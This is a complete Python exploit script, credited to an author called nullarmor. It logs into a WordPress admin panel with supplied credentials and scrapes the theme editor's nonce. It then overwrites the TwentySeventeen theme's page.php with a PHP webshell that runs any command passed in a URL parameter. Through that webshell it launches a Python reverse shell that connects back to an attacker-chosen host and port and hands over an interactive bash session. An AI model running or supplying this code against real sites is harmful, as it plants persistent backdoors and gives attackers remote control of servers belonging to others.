# -*- coding:utf-8 -*-

# WordPress TwentySeventeen Theme Authenticated WebShell Upload + RCE
# CVE: -
# Exploit author: Renan Almeida
# Python script exploit author: Renan Almeida a.k.a. nullarmor <nullarmor@protonmail.com>

import argparse
import requests
import sys
from pwn import *


def main():

    # args
    argparser = argparse.ArgumentParser(description='WordPress TwentySeventeen Theme Authenticated WebShell Upload + RCE',
                                        add_help=False)
    main_arg = argparser.add_argument_group("MAIN")

    main_arg.add_argument('-h', '--help',
                          help='Show this help menu',
                          action='store_true')

    main_arg.add_argument('--rhost', type=str,
                            help='WordPress host',
                            required=True)

    main_arg.add_argument('--username', type=str,
                            help='WordPress username',
                            required=True)

    main_arg.add_argument('--password', type=str,
                            help='WordPress password',
                            required=True)

    main_arg.add_argument('--lhost', type=str,
                            help='Local host to receive the reverse shell',
                            required=True)

    main_arg.add_argument('--lport', type=str,
                            help='Local port to receive the reverse shell (default: 4444)',
                            default='4444')

    main_arg.add_argument('--burpsuite', action='store_true',
                            help='Enable burpsuite proxy')

    args = argparser.parse_args()

    # arg validation
    if args.help:
        argparser.print_help()
        sys.exit(1)

    # cons
    rhost = args.rhost
    username = args.username
    password = args.password
    lhost = args.lhost
    lport = args.lport
    burpsuite = args.burpsuite

    # proxies
    proxies = { "http": "127.0.0.1:8080" }

    # session
    s = requests.Session()


    def reverse_shell(l):

        print(" [*] Spawning the reverse shell...")

        l.sendline("uname -a && id")
        l.interactive()


    def login():

        cookies = {
          "wordpress_test_cookie": "WP+Cookie+check"
        }

        params = {
            "log": username,
            "pwd": password,
            "wp-submit": "Log+In",
            "redirect_to": "http://{}/wp-admin/".format(rhost),
            "testcookie": "1"
        }

        print(" [*] Logging into WordPress admin panel...")
        
        try:
            if burpsuite:
                r = s.post("http://{}/wp-login.php".format(rhost), cookies=cookies, 
                                                                   data=params, 
                                                                   proxies=proxies)

            else:
                r = s.post("http://{}/wp-login.php".format(rhost), cookies=cookies, 
                                                                   data=params)

        except Exception as e:
            print(e)
            print(" [*] Failed to login due an error!")
            sys.exit(1)

        else:
            if 'wp-admin' in r.url:
                print(" [*] Logged with success into WordPress Admin Panel!")
                return True
            else:
                print(" [*] Failed to login into WordPress Admin Panel, check your credentials!")
                sys.exit(1)


    def exploit():

        cookies = {
            "wordpress_test_cookie": "WP+Cookie+check"
        }
        
        new_php_code = """
<?php

if (isset($_GET[0])){
    system($_GET[0]);
}

get_header(); ?>

<div class="wrap">
    <div id="primary" class="content-area">
        <main id="main" class="site-main" role="main">

            <?php
            while ( have_posts() ) : the_post();

                get_template_part( 'template-parts/page/content', 'page' );

                // If comments are open or we have at least one comment, load up the comment template.
                if ( comments_open() || get_comments_number() ) :
	                comments_template();
                endif;

            endwhile; // End of the loop.
            ?>

        </main><!-- #main -->
    </div><!-- #primary -->
</div><!-- .wrap -->

<?php get_footer();

        """

        params = {
            "_wpnonce": "0211adb467",
            "_wp_http_referer": "/wp-admin/theme-editor.php?file=page.php&theme=twentyseventeen&scrollto=279",
            "newcontent": new_php_code,
            "action": "update",
            "file": "page.php",
            "theme": "twentyseventeen",
            "scrollto": "279",
            "submit": "Update+File"
        }

        print(" [*] Editing the Twenty Seventeen theme to include our PHP Webshell in it...")


        try:
            if burpsuite:
                r = s.get("http://{}/wp-admin/theme-editor.php?file=page.php&theme=twentyseventeen&scrollto=279".format(rhost), 
                                                                                                 proxies=proxies)

            else:
               r = s.get("http://{}/wp-admin/theme-editor.php?file=page.php&theme=twentyseventeen&scrollto=279".format(rhost))

        except Exception as e:
            print(" [*] Failed to grab the WP-nonce due an error!")
            sys.exit(1)
        else:
            wp_nonce = r.text.split('_wpnonce" value="')[1].split('" />')[0]
            params['_wpnonce'] = wp_nonce


        try:
            if burpsuite:
                r = s.post("http://{}/wp-admin/theme-editor.php".format(rhost), params=params, 
                                                                                proxies=proxies)

            else:
                r = s.post("http://{}/wp-admin/theme-editor.php".format(rhost), cookies=cookies,
                                                                                data=params)

        except Exception as e:
            print(e)
            print(" [*] Failed to exploit due an error!")
            sys.exit(1)

        else:
            if 'successfully' in r.text:
                print(" [*] PHP WebShell injected, you can check it: http://{}/wp-content/themes/twentyseventeen/page.php?0=id".format(rhost))
                return True
            else:
                print(" [*] Failed to inject our malicious PHP WebShell!")
                sys.exit(1)


    def trigger_exploit():

        py_payload = "python3 -c 'import socket,subprocess,os;"
        py_payload += "s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);"
        py_payload += "s.connect((\"{}\",{}));".format(lhost, lport)
        py_payload += "os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);"
        py_payload += "p=subprocess.call([\"/bin/bash\",\"-i\"]);'"


        print(" [*] Triggering the reverse shell through the webshell...")

        l = listen(lport)

        try:
            if burpsuite:
                r = s.get("http://{}/wp-content/themes/twentyseventeen/page.php?0={}".format(rhost, py_payload),
                                                                                                proxies=proxies,
                                                                                                timeout=5)

            else:
                r = s.get("http://{}/wp-content/themes/twentyseventeen/page.php?0={}".format(rhost, py_payload),
                                                                                                timeout=5)

        except:
            reverse_shell(l)


    # main
    print(" [>] WordPress TwentySeventeen Theme Authenticated WebShell Upload + RCE ")
    print(" [*] Python script exploit author: nullarmor")


    if login():
        if exploit():
            trigger_exploit()


if __name__ == '__main__':
    main()
